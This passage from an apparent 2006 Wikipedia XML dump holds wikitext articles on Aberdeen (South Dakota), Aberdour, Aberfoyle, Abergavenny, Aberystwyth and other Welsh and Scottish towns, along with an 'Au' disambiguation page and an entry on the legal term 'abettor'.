Aberdeen Central High School has an enrollment of 1,200 students, grades 9-12. The school was founded in 1911 near downtown Aberdeen, and served as the home of the Golden Eagles for nearly 90 years. In the fall of 2004, Aberdeen Central students were welcomed into a new $28 million facility in South East Aberdeen. The school has numerous improvements over the previous school featuring air conditioning, handicap accessibility, and a state of the art [http://www.daktronics.com/photo_detail.cfm?cc=CC04886/ gymnasium.]including a large [[Daktronics]] replay board.

The Aberdeen Central High School Complex is also home to the Clark Swisher Athletic Complex. This athletic complex features a [[FieldTurf]] football/soccer field, an eight lane all-weather track, and an on-site locker room.

Roncalli High School is part of the Aberdeen Catholic School System and has an enrollment of about 200 students.  The school features excellent sports programs that are evident in the Roncalli Cavaliers' 2005 State &quot;11B&quot; football championship.

==Other==
*[[Music of South Dakota]]
*[[ABR]] Aberdeen Regional Airport

==Popular Attractions==
*[http://www.aberdeen.sd.us/parks/wylie.html Wylie Park] With over 200 acres of grassland, the park features a zoo with a spectacular variety of wildlife. Picnic and reacreation areas, pavilion, concession stands, campground, and swimming area also available.
[[Image:Wyliepark.JPG|100px|right|Storybook Land's Castle]]
*[http://www.aberdeencvb.com/storybook.html Storybook Land] Just over the rainbow is where you'll find Aberdeen's magical theme park - Storybook Land! Dorothy, Toto, The Scarecrow, Tin Man and Cowardly Lion will all greet you as you begin your journey down the Yellow Brick Road. Enter a land of enchantment that includes over 60 larger than life exhibits. Climb aboard Captain Hook's ship, visit the animals at Old McDonald's Farm, but whatever you do, don't get lost in the maze! A ride around the park on the Storybook Land Express is always a hit.
*[http://www.brown.sd.us Brown County Fair] Every year in August, vendors from around the country travel to Aberdeen to participate in a county fair that includes big name grandstand entertainment, car races, demolition derby, rodeo, carnival midway, 4-H exhibits, and other assorted live entertainment and displays.
*[[Kuhnert Arboretum]]
*[http://www.dacotahprairiemuseum.com Dacotah Prairie Museum] Dedicated to telling the story of this land and of the people who have lived on it, this museum contains a large section of historical items including Indian artifacts, centennial quilts, period settings, toys for all ages and much more.
*[http://www.feelthethunder.com/aberdeen.htm Thunder Road]

==Notable Residents==
*[[L. Frank Baum]], famous for his book [[The Wonderful Wizard of Oz]], made Aberdeen his home.  He started a local newspaper called ''The Aberdeen Saturday Pioneer'', which eventually failed.
*[[Fakir Musafar]], key figure in the [[modern primitive]] movement, was born here.
*[[David C. Jones]], U.S. Air Force general, was born here.
*[[Joseph Hansen (writer)]], American mystery writer, was born here.
*[[Tom Daschle]], former US Senator, was born here.

== External links ==
{{Wikisource1911Enc|Aberdeen (city)}}
* [http://www.aberdeen-chamber.com/ Aberdeen Chamber of Commerce]
* [http://www.aberdeen.sd.us/ Aberdeen government website]
* [http://www.aberdeennews.com/mld/aberdeennews/ Aberdeen News - local newspaper]
* [http://www.aberdeen.k12.sd.us/centralhs/ Aberdeen Central High School website]
{{Mapit-US-cityscale|45.463708|-98.481291}}

{{SouthDakota}}

[[Category:Cities in South Dakota]]
[[Category:Brown County, South Dakota]]

[[et:Aberdeen (Lõuna-Dakota)]]
[[gl:Aberdeen, Dacota do Sur]]
[[pl:Aberdeen (Dakota Południowa)]]</text>
    </revision>
  </page>
  <page>
    <title>Au</title>
    <id>2710</id>
    <revision>
      <id>39281155</id>
      <timestamp>2006-02-12T01:48:46Z</timestamp>
      <contributor>
        <username>Mzajac</username>
        <id>61482</id>
      </contributor>
      <minor />
      <comment>/* Places */ logical order</comment>
      <text xml:space="preserve">{{tocright}}
'''Au''' may refer to:

* [[Alternative universe (fan fiction)]], a fan fiction term
* [[Annals of Ulster]], in Irish historical writings
* Au is a 'cartwheel' in the Brazilian martial art of [[Capoeira]]
* Au (區 or 歐) is a [[List of common Chinese surnames|family name]] in Hong Kong

== In science ==
* [[Astronomical unit]] of distance
* [[Atomic units]] of time, length, mass, etc
* [[Gold]] (chemical symbol Au)

== In computing ==
* [[.au]] Internet country code top-level domain for Australia
* [[au file format]], Sun Microsystems' audio format
* [[Audio Units]] plug-in programming interface from Apple Computer

== Organisations ==
* [[African Union]]
* [[Allahabad University]]
* [[American University]]
* [[Americans United for Separation of Church and State]]
* [[Athabasca University]]
* [[Au (mobile phone operator)]], of Japan
* [[Auburn University]]
* [[Austral Lineas Aereas]] (IATA airline code AU)

== Places ==
* [[Australia]] (ISO country code); see [[ISO 3166-2:AU]] for subdivisions
* [[Austria]] (obsolete NATO country code)

''Au'' is an old Germanic word for rivulet, cognate of [[Aa River|several rivers ''Aa'']] and with [[Å#Nordic languages|Å]] in Swedish. It is also the name of several towns and places: 

Germany:
* [[Au in der Hallertau]]
* [[Au (Schwarzwald)|Au-Breisgau]]

Switzerland:
* [[Au, Schaffhausen]]
* [[Au, Thurgau]]
* [[Au, Switzerland|Au, Zürich]]

Austria:
* [[Au, Austria]]
* [[Au am Anzbach]]
* [[Au am Kraking]]
* [[Au am Leithaberge]]
* [[Au an der Donau]]
* [[Au an der Traun]]
* [[Au bei Brandstatt]]
* [[Au bei der Traun]]
* [[Au bei Ed]]
* [[Au bei Hischmannsberg]]
* [[Au bei hohen Steg]]
* [[Au bei Natternbach]]
* [[Au bei Sirfling]]
* [[Au bei Turnau]]

{{disambig}}

[[af:Au]]
[[als:Au]]
[[cs:AU]]
[[da:AU]]
[[de:AU]]
[[et:Au (täpsustus)]]
[[el:Au]]
[[es:AU]]
[[fr:AU]]
[[ko:AU]]
[[it:Au]]
[[nl:Au]]
[[ja:AU]]
[[pl:Au]]
[[sk:Au]]
[[fi:AU]]
[[sv:AU]]
[[zh:Au]]</text>
    </revision>
  </page>
  <page>
    <title>Aberdeenshire/Aberdeenshire1911</title>
    <id>2711</id>
    <revision>
      <id>32288169</id>
      <timestamp>2005-12-21T22:23:53Z</timestamp>
      <contributor>
        <username>RussBot</username>
        <id>279219</id>
      </contributor>
      <minor />
      <comment>Robot: Fixing [[Special:DoubleRedirects|double-redirect]] -&quot;Aberdeenshire (traditional)&quot; +&quot;Aberdeenshire (historic)&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Aberdeenshire (historic)]]</text>
    </revision>
  </page>
  <page>
    <title>Aberdour</title>
    <id>2712</id>
    <revision>
      <id>41551328</id>
      <timestamp>2006-02-28T02:33:39Z</timestamp>
      <contributor>
        <ip>219.88.182.146</ip>
      </contributor>
      <text xml:space="preserve">'''Aberdour''', a village in [[Fife]], [[Scotland]], lies on the shore of the [[Firth of Forth]], 17.5 miles north-west of [[Edinburgh]] by rail or road. It features excellent beaches and good examples of Fife architecture.

Aberdour Castle stands next to St.Fillan's church (12th century) which contains some fine [[Norman architecture | Norman]] work.  About 3 miles south-west of Aberdour stands [[Donibristle House]], the seat of the [[Earl of Moray]], and the scene of the murder ([[7 February]] [[1592]]) of one earl, remembered in the ballad ''[[The Bonny Earl of Murray]]''.



== Silver and Black Sands ==

Aberdour is home to two beaches, the most popular being the Silver Sands. The Silver Sands is one of Scotland's seven &quot;[[Blue Flag]]&quot; Awarded beaches - which denotes an exemplary standard of cleanliness. As the name suggests, the beach has soft, light coloured sand. The Black Sands, on the other side of the village, has a more rocky and dark surface - but is also popular with visitors exploring the rock caves and interesting sea life. The Silver Sands is very popular in summer time and adequate parking space is available in the large fields surrounding the beach.

== Inchcolm ==
The island of [[Inchcolm]], or Island of [[Columba]],  a quarter of a mile from the shore, forms part of the parish of Aberdour.  As its name implies, its associations date back to the time of Columba.  The primitive stone-roofed [[chapel | oratory]] presumably served as a [[hermit]]'s cell.  

King [[Alexander I of Scotland|Alexander I]] founded the [[Augustinian]] [[monastery]] in [[1123]]. It has well-preserved buildings, consisting of a low square tower, church, [[cloister]]s, refectory and small [[chapter-house]].  

[[England|English]] and other rovers occasionally plundered the island of Columba, but in the [[16th century]] it became the property of Sir [[James Stewart]], whose grandson became third [[Earl of Moray]] by virtue of his marriage to the elder daughter of the [[James Stewart, 1st Earl of Moray|first earl]].  From it comes the earl's title of [[Lord St Colme]] ([[1611]]).
{{Wikisource1911Enc|Aberdour}}
{{1911}}

[[Category:Towns in Fife]]

[[no:Aberdour]]
[[ro:Aberdour]]
ô</text>
    </revision>
  </page>
  <page>
    <title>Aberdovey</title>
    <id>2713</id>
    <revision>
      <id>15901107</id>
      <timestamp>2004-09-27T15:42:01Z</timestamp>
      <contributor>
        <username>Mwng</username>
        <id>87951</id>
      </contributor>
      <comment>merge with [[Aberdyfi]]</comment>
      <text xml:space="preserve">#redirect [[Aberdyfi]]</text>
    </revision>
  </page>
  <page>
    <title>Aberfoyle</title>
    <id>2714</id>
    <revision>
      <id>40500486</id>
      <timestamp>2006-02-21T00:34:18Z</timestamp>
      <contributor>
        <username>DonnyM</username>
        <id>946150</id>
      </contributor>
      <text xml:space="preserve">[http://www.example.com link title]:''There is also [[Aberfoyle, Ontario, Canada]].''

'''Aberfoyle''' ([[Scottish Gaelic language|Scottish Gaelic]]: &lt;I&gt;Obar Phuill&lt;/I&gt;) is a [[village]] in the region of [[Stirling (district)|Stirling]], [[Scotland]], 27 miles [[northwest]] of [[Glasgow]]. The [[population]] stands at 635 as of the [[1998]] [[census]].  

The town is situated at the base of [[Craigmore]] (1271 [[foot (unit of length)|foot]] [[Height|high]]) and on the Laggan, a head-water of the [[River Forth]].  Since [[1885]], when the [[Duke of Montrose]] constructed a road over the eastern shoulder of Craigmore to join the older road at the entrance of the [[Trossachs]] pass, Aberfoyle has become the alternative route to the Trossachs and [[Loch Katrine]]; this road, known as the Duke's Road or Duke's Pass, was opened to the [[public]] in [[1931]] when the [[Forestry Commission]] acquired the land.  

[[Loch Ard]], about 2 [[mile]]s west of Aberfoyle, lies 105 feet above the [[sea level|sea]].  It is 3 miles long (including the narrows at the east end) and 1 mile broad.  Towards the west end is Eilean Gorm (''the green isle''), and near the north-western shore are the falls of Ledard.  Two miles northwest is Loch Chon, at 90 feet above the sea, 1.25 miles long, and about half a mile broad.  It [[Drainage|drains]] by the Avon Dhu to Loch Ard, which is drained in turn by the Laggan.  

== Industry ==

The [[slate]] [[Quarry|quarries]] on Craigmore which operated from the [[1820s]] to the [[1950s]] are now defunct; at its peak this was a major [[industry]]. Other industries included an ironworks, established in the [[1720s]], as well as wool spinning and a lint mill.  In 1880 a railway line from [[Glasgow]], via Dumgoyne, to Aberfoyle was established.  However, due to the [[Beeching Axe]], the line was closed in [[1959]].  

The above industries have since died out, and Aberfoyle is supported mainly by the forestry industry and [[tourism]].

== Tourism ==

Visitors were first attracted to Aberfoyle and the surrounding area after the publication of ''[[Lady_of_the_Lake|The Lady of the Lake]]'' by [[Sir Walter Scott]] in 1810. The poem described the beauty of [[Loch Katrine]].  Aberfoyle describes itself as 'The Gateway to the [[Trossachs]]', and is well situated for visitors to access attractions such as [[Loch Lomond]] and [[Inchmahome Priory]] at the [[Lake of Menteith]].  Aberfoyle is also part of the [[Loch Lomond and the Trossachs National Park]].

== Historical Figures ==

Aberfoyle has connections to many historical figures such as [[Robert Roy MacGregor|Rob Roy]] and [[Mary I of Scotland|Mary Queen of Scots]].  Robert Roy MacGregor was born at the head of nearby Loch Katrine, and his well known cattle stealing exploits took him all around the area surrounding Aberfoyle.  There currently stands a tree in the village that MacGregor was reputed to have climbed and hid in to escape the clutches of the law.  Also, Mary Queen of Scots visited nearby Inchmahome Priory often as a child, and during her short reign.  She also used the priory during her short reign, particularly in 1547, where she felt safe from the English Army.

However, the most local historical figure is the Reverend Robert Kirk, born in 1644. It was the Rev. Kirk who provided the first translation into [[Scottish Gaelic language|Gaidhlig]] of the Book of Psalms, however, he is better remembered for the publication of his book ''&quot;The Secret Commonwealth of Elves, Fauns, and Fairies&quot;'' in 1861.  Kirk had long been researching fairies, and the book collected several personal accounts and stories of folk who claimed to have encountered them.  It was after this, while Kirk was minsiter of Aberfoyle parish, that he died in unusual circumstances.  

Kirk had long believed that the local Doon Hill (or Fairy Knowe as it is more commonly known), was the gateway to the 'Secret Commonwealth', or the land of the Fairies.  It was a place that Kirk visited often, taking daily walks there from his manse.  The story goes that the Fairies of Doon Hill were angry with the Rev. Kirk for revealing their secrets, and decided to imprison him in Doon Hill - for one night in May 1692, the Rev. Kirk went out for a walk to the hill, in his nightshirt.  Some accounts claim that he simply vanished, however he suddenly collapsed.  He was found and brought home, but died soon afterwards.  He was buried in his own kirkyard, although local legends claim that the fairies took his body away, and the coffin contains only stones. The huge pine tree that still stands at the top of Doon Hill is said to contain Kirk's imprisoned spirit.

Kirk's cousin, Graham of Duchray, was then to claim that the spectre of Kirk had visited him in the night, and told him that he had been carried off by the Fairies.  Having left his widow expecting a child, the spectre of Kirk told Graham that he would appear at the baptism, whereupon Graham was to throw an iron knife at the apparition, thus freeing Kirk from the Fairies' clutches. However when Kirk's spectre appeared, Graham was apparently too shocked by the vision to throw the knife, and Kirk's ghost faded away forever.

Today, visitors to Doon Hill write their wishes on pieces of white silk, or other white cloth, and tie them to the branches of the trees for the Fairies to grant.  It is also said that if you run around the great pine tree at the summit seven times, then the Fairies will appear.

==External links==
{{Wikisource1911Enc|Aberfoyle}}
* {{gbmapping|NN525005}}
http://www.themodernantiquarian.com/site/6863
[[Category:Towns in Stirling council area]]</text>
    </revision>
  </page>
  <page>
    <title>Abergavenny</title>
    <id>2715</id>
    <revision>
      <id>41792481</id>
      <timestamp>2006-03-01T20:05:03Z</timestamp>
      <contributor>
        <username>V0rt3x</username>
        <id>1000575</id>
      </contributor>
      <comment>Removing the sentence about &quot;Ennerverbaggy.&quot;  I've never, ever, heard it called that before and it seems a little odd to refer to dyslexics with it.</comment>
      <text xml:space="preserve">{{1911}}
{{infobox Wales place|
   |Place=             Abergavenny
   |Council=           [[Monmouthshire]]
   |Traditional=       [[Monmouthshire]]
   |Ceremonial=        [[Gwent]]
   |Constituency=      [[Monmouth (UK Parliament constituency)|Monmouth]]
   |PostalTown=        ABERGAVENNY
   |PostCode=          NP7
   |DiallingCode=      01873
   |GridReference=     SO295145
   |Population=        14,055
   |Police=            [[Gwent Police]]
}}    
'''Abergavenny''' ([[Welsh language|Welsh]]: ''Abergafenni'' or ''Y Fenni'') is a market town in [[Monmouthshire]], [[Wales]]. It is 14 miles west of [[Monmouth]]. Situated at the confluence of a small stream called the Gavenny with the [[River Usk]], it is almost surrounded by lofty hills. The town was formerly walled, and contains the remains of a castle built soon after the [[Norman Conquest]], frequently the scene of border strife. It is in the [[Welsh Marches]].

The church of St Mary belonged originally to a [[Benedictine]] monastery founded early in the 12th century.  The existing building, however, is [[Gothic architecture|Decorated and Perpendicular]].

Abergavenny, often known as 'Aber' to the locals, was the [[Roman Britain|Roman]] ''Gobannium,'' a small fort guarding the road along the valley of the Usk for keeping the peace among the hill tribes. There is practically no trace of this fort.  The name is associated with the Celtic smith god [[Govannon]]. Abergavenny (Bergavenny) grew under the protection of the lords of Abergavenny, whose title dated from [[William I of England|William I]] (the Conqueror). 

Owing to its situation, the town was frequently embroiled in the border warfare of the 12th and 13th centuries, and [[Giraldus Cambrensis]] relates how in [[1173]] the castle was seized by the Welsh. [[Hamelyn de Baalun]], first lord of Abergavenny, founded the Benedictine [[priory]], which was subsequently endowed by [[William de Braose]] with a tenth of the profits of the castle and town. At the dissolution of the priory part of this endowment went towards the foundation of a free [[grammar school]], the site itself passing to the Gunter family.  During the [[English Civil War|Civil War]] prior to the siege of [[Raglan Castle]] in [[1645]], [[Charles I of England|Charles I]] visited Abergavenny, and presided in person over the trial of Sir Trevor Williams and other [[Parliamentarian|Parliamentarians]].

In [[1639]] Abergavenny received a charter of incorporation under the title of bailiff and burgesses.  A charter with extended privileges was drafted in [[1657]], but appears never to have been enrolled or to have come into effect.  Owing to the refusal of the chief officers of the corporation to take the [[oath of allegiance]] to [[William III of England|William III]] in [[1688]], the charter was annulled, and the town subsequently declined in prosperity.  

Chapter 28 of the [[Laws in Wales Acts 1535-1542|1535 Act of Henry VIII]], which provided that Monmouth, as [[county town]], should return one burgess to Parliament, further stated that other ancient Monmouthshire boroughs were to contribute towards the payment of the member.  In consequence of this clause Abergavenny on various occasions shared in the election, the last instance being in [[1685]].  Reference to a market at Abergavenny is found in a charter granted to the prior by William de Braose (d. [[1211]]).  The right to hold two weekly markets and three yearly [[fair|fairs]], as held ever since, was confirmed in [[1657]].  Abergavenny was celebrated for the production of Welsh [[flannel]], and also for the manufacture, whilst the fashion prevailed, of goats' hair [[wigs|periwigs]]. 

The title of [[Baron Abergavenny]], in the Neville family, dates from Edward Neville (d. [[1476]]), who was the youngest son of the 1st Earl of Westmoreland by Joan Beaufort, daughter of John of Gaunt.  He married the heiress of Richard, Earl of Worcester, whose father had inherited the castle and estate of Abergavenny, and was summoned in [[1392]] to parliament as Lord Bergavenny.  Edward Neville was summoned to parliament with this title in [[1450]].  His direct male descendants ended in [[1387]] in Henry Neville, but a cousin, Edward Neville (d. [[1622]]), was confirmed in the barony in [[1604]].  From him it has descended continuously, the title being increased to an earldom in 1784; and in [[1876]] [[William Nevill, 1st Marquess of Abergavenny|William Nevill]] (sic) 5th earl (b. [[1826]]), an indefatigable and powerful supporter of the conservative party, was created 1st [[Marquess of Abergavenny]].

Abergavenny is the home of Abergavenny Thursdays Football Club, which was formed in 1927 and is currently a member of the Gwent County League Division 3. The club's current position comes within 15 years of their being one of the top sides in Welsh football, winning the old format Welsh Football League in 1991 and 1992 but being relegated in 1993 after just one season in the newly formed League of Wales. The club suffered relegation from the Welsh Football League in 2001 and has since slipped through the next two divisions into its current position, although the future is now looking brighter. 
{{Wikisource1911Enc|Abergavenny}}

==Trivia==
*Abergavenny hosted the [[National Eisteddfod]] in [[1913]].
*The novelist [[Alexander Cordell]] is buried in the nearby [[village]] of [[Llanfoist]].
*Abergavenny is [[town twinning|twinned]] with [[Oestringen]] in [[Germany]], Beaupreau in France &amp; Sarno in Italy.
*In 1968, the town was immortalised in the song &quot;[http://lyricsplayground.com/alpha/songs/a/abergavenny.shtml Taking a trip down to Abergavenny]&quot; by Marty Wilde.
*Each September, Abergavenny holds a very successful [http://www.abergavennyfoodfestival.co.uk Food Festival] throughout the town centre and castle.
*[[The Beatles]] played at the Borough Theatre in Abergavenny on Saturday June 22, 1963.

==See also==
*[[Abergavenny (hundred)]]

[[Category:Towns in Monmouthshire]]
[[Category:Towns of the Welsh Marches]]
[[Category:Welsh market towns]]

[[cy:Y Fenni]]
[[fr:Abergavenny]]
[[no:Abergavenny]]
[[sv:Abergavenny]]</text>
    </revision>
  </page>
  <page>
    <title>Abersychan</title>
    <id>2716</id>
    <revision>
      <id>39487486</id>
      <timestamp>2006-02-13T18:38:08Z</timestamp>
      <contributor>
        <username>Welsh</username>
        <id>310131</id>
      </contributor>
      <minor />
      <comment>Copyedit</comment>
      <text xml:space="preserve">'''Abersychan''' is a town in [[Wales]], near [[Newport]].

It lies in the narrow upper valley of the [[Afon Llwyd]] on the eastern edge of the great coal and iron mining district of [[Glamorgan]] and [[Monmouthshire]], and its large industrial population was employed in the mines and ironworks. There are no longer any working coalmines in the area.  Visitors can get a taste of what valley life was like by visiting the [[Big Pit]] mining museum in [[Blaenavon]], located 4 miles north. Here you can take underground tours in a perfectly preserved coalmine.   

==References==
{{1911}}


{{Wales-geo-stub}}
[[Category:Towns in Torfaen]]
[[no:Abersychan]]
[[sv:Abersychan]]</text>
    </revision>
  </page>
  <page>
    <title>Abertillery</title>
    <id>2717</id>
    <revision>
      <id>37583926</id>
      <timestamp>2006-01-31T22:35:10Z</timestamp>
      <contributor>
        <ip>81.156.249.187</ip>
      </contributor>
      <text xml:space="preserve">{{infobox Wales place|
   |Place=             Abertillery
   |Council=           [[Blaenau Gwent]]
   |Traditional=       [[Monmouthshire]]
   |Ceremonial=        [[Gwent]]
   |Constituency=      [[Blaenau Gwent (UK Parliament constituency)|Blaenau Gwent]]
   |PostalTown=        ABERTILLERY
   |PostCode=          NP13
   |DiallingCode=      01495
   |GridReference=     SO215045
   |Population=        11,194
   |Police=            [[Gwent Police]]
}}    
'''Abertillery''' ([[Welsh language|Welsh]] ''Abertyleri'') is a town in the county borough of [[Blaenau Gwent]] and the traditional county of [[Monmouthshire]] in southern [[Wales]], 16 miles north-west of [[Newport]], originally on the [[Great Western Railway]].  Its population rose steeply during the period of mining development in the [[Rhondda]] valleys, being 10,846 in the [[1891]] census and 21,945 ten years later.  It lies in the mountainous mining district of [[Monmouthshire]] and [[Glamorganshire]], in the valley of the [[Ebbw Fach]], and the population was traditionally employed in the numerous coalmines, ironworks and tinplate works, now mostly defunct.  Farther up the same valley are the mining townships of [[Nantyglo]] and [[Blaina]].

Abertillery has a traditional-style town centre and several small schools. Today, its population numbers around 11,000. Noted for its unspoilt rural scenery, Abertillery neighbours the small districts of [[Aberbeeg]] and [[Cwmtillery]].  This is mainly down large amounts of EU funding which has helped the town transform itself from industrial relic into the clean, modernised area it is today.

A recent [[windfarm]] proposal above the community of [[Cwmtillery]] has been withdrawn, despite the offer of community-based incentives from the company.  Opposition to the proposal generated support throughout the town which led to the it finally being withdrawn.

The town's name is pronounced with the emphasis on the penultimate syllable, ie. it rhymes with &quot;Mary,&quot; as in a song made popular by Welsh entertainer [[Ryan Davies]]:

&quot;''Blodwen and Mary'' from Abertillery...&quot;

==References==
*{{1911}}

[[Category:Traditional county of Monmouthshire]]
[[Category:Towns in Blaenau Gwent]]


[[cy:Abertyleri]]
[[gl:Abertillery - Abertyleri]]
[[pl:Abertillery]]</text>
    </revision>
  </page>
  <page>
    <title>Aberystwyth</title>
    <id>2718</id>
    <revision>
      <id>41613425</id>
      <timestamp>2006-02-28T14:49:10Z</timestamp>
      <contributor>
        <username>Gurch</username>
        <id>241822</id>
      </contributor>
      <minor />
      <comment>bankrupcy -&gt; bankruptcy</comment>
      <text xml:space="preserve">{{infobox Wales place|
   |Place=             Aberystwyth
   |Council=           [[Ceredigion]]
   |Traditional=       [[Cardiganshire]]
   |Ceremonial=        [[Dyfed]]
   |Constituency=      [[Ceredigion (UK Parliament constituency)|Ceredigion]]
   |PostalTown=        ABERYSTWYTH
   |PostCode=          SY23
   |DiallingCode=      01970
   |GridReference=     SN585815
   |Population=
   |Police=            [[Dyfed-Powys Police]]
}}    
'''Aberystwyth'''  (from the [[Welsh language|Welsh]] ''Mouth of the Ystwyth'') is a historic [[market town]],  and seaport of [[Ceredigion]] (Cardiganshire), [[Mid Wales]].

It is situated near the [[confluence]] of the rivers [[River Ystwyth|Ystwyth]] and [[River Rheidol|Rheidol]], about midway down the length of [[Cardigan Bay]]. Aberystwyth was a [[contributory parliamentary borough]] until the [[Representation of the People Act 1884|Third Reform Act]], which caused its representation to be merged into that of the county in [[1885]].  In modern times Aberystwyth has become a Welsh educational centre.  The population is around 12,000, but is swelled by an additional 8000 students associated with the [[University of Wales, Aberystwyth]]. The world's first department in international politics was established in Aberystwyth in [[1919]]. 

==Geography==
[[Image:Aberystwyth 2.JPG|thumb|300px|Aberystwyth, viewed from the nature reserve on Penglais Hill]]

The [[Cambrian Line]] railway links Aberystwyth with [[Shrewsbury]], and the [[Vale of Rheidol Railway]], which is operated by [[steam locomotive]]s, can be taken to [[Devil's Bridge (Wales)|Devil's Bridge]].  Aberystwyth is a major tourist centre and a cultural link between the north and south of [[Wales]].  It has a [[pier]] and a fine sea-front which stretches from Constitution Hill at the north end of the Marine Terrace to the mouth of the harbour. Constitution Hill is scaled by the [[Aberystwyth Electric Cliff Railway]] giving access to fine views and other attractions at the top.

Although the town is relatively modern, it contains a number of historic buildings, including the remains of the castle and the &quot;imposing but fantastic structure&quot; of the old buildings of the University College of Wales near the Castle Hill.  The new campus lies to the east of the town.

The architecture is a mix of Gothic, Classical reival and Victorian, and the town is sometimes reffered to as &quot;the Oxford of Wales&quot;.

==Brief Information==
Much of the finest scenery in [[Mid Wales]] lies within easy reach of Aberystwyth including the wilderness of the [[Cambrian Mountains]], whose valleys contain forests and meadows which have little changed in centuries.  The town is generally regarded as the capital of Mid Wales, and several institutions have regional offices there.  Perhaps the most important of the public bodies located in Aberystwyth is the [[National Library of Wales]].  The library also incorporates the [[National Screen and Sound Archive of Wales]], one of six British regional film archives. The [[Royal Commission on the Ancient and Historical Monuments of Wales]], which maintains and curates the [[National Monuments Record of Wales]] (NMRW), provides the public with information about the built heritage of Wales, available through [[COFLEIN]] the online interactive mapping and database for the NMRW.

Aberystwyth is [[town twinning|twinned]] with [[Saint-Brieuc]], [[France]].

==History==
&lt;!-- Unsourced image removed: [[Image:Aber_dusk_sized.jpg|thumb|250px|Aberystwyth at dusk]] --&gt;
[[Image:Aberysarms.PNG|thumb|250px|Arms of Aberystwyth]]
The remains of an Iron Age fortress on [[Pen Dinas]], a hill overlooking Aberystwyth, indicate that the site was inhabited before 700 BCE.  However the recorded history of Aberystwyth may be said to date from the building of a fortress on the present Castle Hill, in [[1109]].  [[Edward I of England|Edward I]] rebuilt [[Richard de Clare, 2nd Earl of Pembroke|Strongbow]]'s castle in [[1277]], after its destruction by the Welsh.  Between the years [[1404]] and [[1408]] [[Aberystwyth Castle]] was in the hands of [[Owain Glyndwr]], but finally surrendered to Prince Harry (the future King [[Henry V of England]]). Shortly after this the town was incorporated under the title of Ville de Lampadarn (the ancient name of the place being Llanbadarn Gaerog, or the fortified Llanbadarn, to distinguish it from [[Llanbadarn Fawr]], the village one mile inland).  It is thus styled in a charter granted by [[Henry VIII of England|Henry VIII]], but by [[Elizabeth I of England|Elizabeth I]]'s time the town was invariably termed Aberystwyth in all documents.  In [[1647]] the Parliamentarian troops razed the castle, so that its remains are now inconsiderable, though portions of three towers still exist.

The [[Cambrian Railway]] line from Machynlleth reached Aberystwyth in the [[1860s]] closely followed by rail links to [[Carmarthen]]. Its arrival gave rise to something of a [[Victorian]] tourist boom and the town was once even billed as the &quot;Biarritz of Wales&quot; [http://www.gigaflop.demon.co.uk/aber/AberAdvS.gif]. During this time a number of hotels and fine town houses were built including the Queens Hotel.  One of the largest of these hotels  'The Castle Hotel' was never completed as a hotel but following bankruptcy was sold cheaply to the 'Welsh National University Committee', a group of people dedicated to the creation of a Welsh University.  The University College of Wales (later to become the [[University of Wales, Aberystwyth]]) was founded in [[1872]] in this building.  Aberystwyth was the first university institution to be established in Wales. 

The [[Vale of Rheidol Railway]] narrow gauge line from Devil's Bridge was constructed in 1901 and 1902, intended to ship mineral traffic, primarily lead, from Devils Bridge down to Aberystwyth for trans-shipment.  By the time it was finished the lead mines were in a deep downturn and it therefore came to rely largely on the tourist industry. The railway opened for passengers in December 1902.

On the night of Friday 14th January [[1938]] a storm with estimated wind speeds of up to 90mph struck the town. Most of the promenade was destroyed, along with 200ft of the pier. Most properties on the seafront were damaged, most severely on Victoria Terrace.

[[Cymdeithas yr Iaith Gymraeg]] held their historic first protest in Aberystwyth, back in [[1963]], and here also the first ever independent Welsh [[evangelicalism|Evangelical]] Church was established (see [[Evangelical Movement of Wales]]).

[[Merched y Wawr]] have their national headquarters in Aberystwyth.

Aberystwyth hosted the [[National Eisteddfod]] in [[1865]], [[1916]], [[1952]] and [[1992]].

On March 1, 2005, Aberystwyth was granted [[Fairtrade Town]] status.

==External links==
{{commons|Aberystwyth}}
*[[Penrhos]]
*[http://www.aber.ac.uk/ The University of Wales, Aberystwyth]
*[http://www.aber.co.uk/ For What's On In Aberystwyth At Night]
*[http://www.llgc.org.uk The National Library of Wales, Aberystwyth]
*[http://www.rcahmw.gov.uk Royal Commission on the Ancient and Historical Monuments of Wales] in [[English language|English]] and [[Welsh language|Welsh]]
*[http://www.aberystwyth-online.co.uk/ Aberystwyth-online.co.uk]
*[http://www.aberystwyth.com/ Aberystwyth website]
*[http://www.aberystwyth.org.uk/ AberInfo &amp;mdash; The Aberystwyth Guide]
*[http://aberwiki.org AberWiki], a student wiki
*[http://www.gigaflop.demon.co.uk/aber.htm Aberystwyth Guide]
*[http://www.tinytrout.com/ Tinytrout.com] an independent Aberystwyth Fishing Guide with Diary &amp; Forum

[[Category:Fairtrade settlements]]
[[Category:Seaside resorts in Wales]]
[[Category:Towns in Ceredigion]]
[[Category:Welsh market towns]]

[[cy:Aberystwyth]]
[[da:Aberystwyth]]
[[de:Aberystwyth]]
[[fr:Aberystwyth]]
[[gl:Aberystwyth]]
[[nl:Aberystwyth]]
[[no:Aberystwyth]]
[[pl:Aberystwyth]]
[[pt:Aberystwyth]]
[[sv:Aberystwyth]]</text>
    </revision>
  </page>
  <page>
    <title>Abettor</title>
    <id>2719</id>
    <revision>
      <id>27954367</id>
      <timestamp>2005-11-10T20:39:39Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <minor />
      <comment>Standardising 1911 references. (testing)</comment>
      <text xml:space="preserve">'''Abettor''' (from ''to abet,'' O. [[Frisian language|Fr.]] ''abeter'', ''a'' and ''beter'', to bait, urge dogs upon any one; this word is probably of Scandinavian origin, meaning to cause to bite), is a law term implying one who instigates, encourages or assists another to commit an offence.

An abettor differs from an [[Accessory (legal term)|accessory]] in that he must be present at the commission of the crime; all abettors (with certain exceptions) are principals, and, in the absence of specific statutory provision to the contrary, are punishable to the same extent as the actual perpetrator of the offence.  A person may in certain cases be convicted as an abettor in the commission of an offence in which he or she could not be a principal, e.g. a woman or boy under fourteen years of age in aiding rape, or a solvent person in aiding and abetting a bankrupt to commit offences against the bankruptcy laws.

More recently, an abbetor is generally known as an [[accomplice]].

==References==
*{{1911}}
[[Category:Criminal law]]</text>
    </revision>
  </page>
  <page>
    <title>Abeyance</title>
    <id>2720</id>
    <revision>
      <id>39152587</id>
      <timestamp>2006-02-11T01:28:34Z</timestamp>
      <contributor>
        <username>Robert A West</username>
        <id>283748</id>
      </contributor>
      <comment>wikify</comment>
